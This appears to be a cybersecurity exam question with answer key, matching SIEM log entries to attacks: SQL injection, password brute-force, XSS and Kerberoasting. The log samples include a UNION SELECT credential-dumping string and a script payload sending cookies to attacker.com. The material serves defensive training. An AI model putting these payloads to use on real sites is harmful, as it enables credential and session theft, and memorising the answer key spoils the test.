Examkin

Question

Difficulty: HardLog Analysis and SIEM Management

A security operations center (SOC) analyst is configuring correlation rules in an enterprise SIEM platform. Match each log entry signature snippet to the specific security attack vector or suspicious activity indicator it demonstrates.

  • 192.168.1.45 - - [27/Jul/2026:11:14:02 +0000] "GET /products.php?id=101%20UNION%20SELECT%20username,password_hash%20FROM%20users-- HTTP/1.1" 200 4521SQL Injection (SQLi) attempt using database UNION operators to exfiltrate credential table data.
  • EventID: 4625, TargetUserName: admin, WorkstationName: WORKSTATION01, FailureReason: Unknown user name or bad password (Repeated 450 times in 60 seconds)Automated online password brute-force or dictionary attack targeting administrative accounts.
  • 10.0.4.12 - - [27/Jul/2026:11:15:33 +0000] "POST /comment.php HTTP/1.1" 200 1240 "<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"Refined Stored/Reflected Cross-Site Scripting (XSS) payload attempting session hijacking via client-side code execution.
  • EventID: 4769, ServiceName: krbtgt, TicketOptions: 0x40810000, TicketEncryptionType: 0x17 (RC4-HMAC), TargetUserName: [email protected]Kerberoasting attack attempting to request TGS tickets with weak RC4 encryption for offline password cracking of service accounts.

Answer

Matching pairs: (1) SQL Injection UNION SELECT payload matches SQL Injection exfiltration attempt; (2) Event ID 4625 rapid failures match Automated password brute-force attack; (3) HTTP POST script cookie stealer matches Cross-Site Scripting (XSS) payload; (4) Event ID 4769 with RC4 ticket encryption for service account matches Kerberoasting attack.
Each log pattern exhibits a unique signature key: SQL syntax elements signal SQL Injection, high-frequency logon failure events (Event 4625) indicate brute-force attempts, HTML script tags attempting cookie access indicate XSS, and Kerberos TGS requests (Event 4769) requesting RC4 encryption for service accounts indicate Kerberoasting.

Step-by-Step Solution

1
Analyze web log queries for database syntax.
Identify 'UNION SELECT username,password_hash FROM users' as SQL Injection.
SQL syntax in URL parameters indicates SQLi targeting backend database retrieval.
2
Analyze Windows Event ID 4625 patterns.
Identify high frequency (450 attempts/minute) of failed logons as online brute-forcing.
Event ID 4625 captures failed authentication events.
3
Inspect web log POST payloads for script tags.
Identify `<script>...document.cookie...</script>` as Cross-Site Scripting (XSS).
Executable JavaScript injected via web form inputs targeting session tokens represents XSS.
4
Evaluate Active Directory Kerberos ticket requests (Event ID 4769).
Identify RC4-HMAC (0x17) ticket requests for service accounts as Kerberoasting.
Kerberoasting forces legacy RC4 ticket issuance for service accounts to execute offline hash cracking.

Key Concept

Log Analysis and SIEM Correlation Signatures
Rate this question

Topics

Log Analysis and SIEM Management

More questions from this topic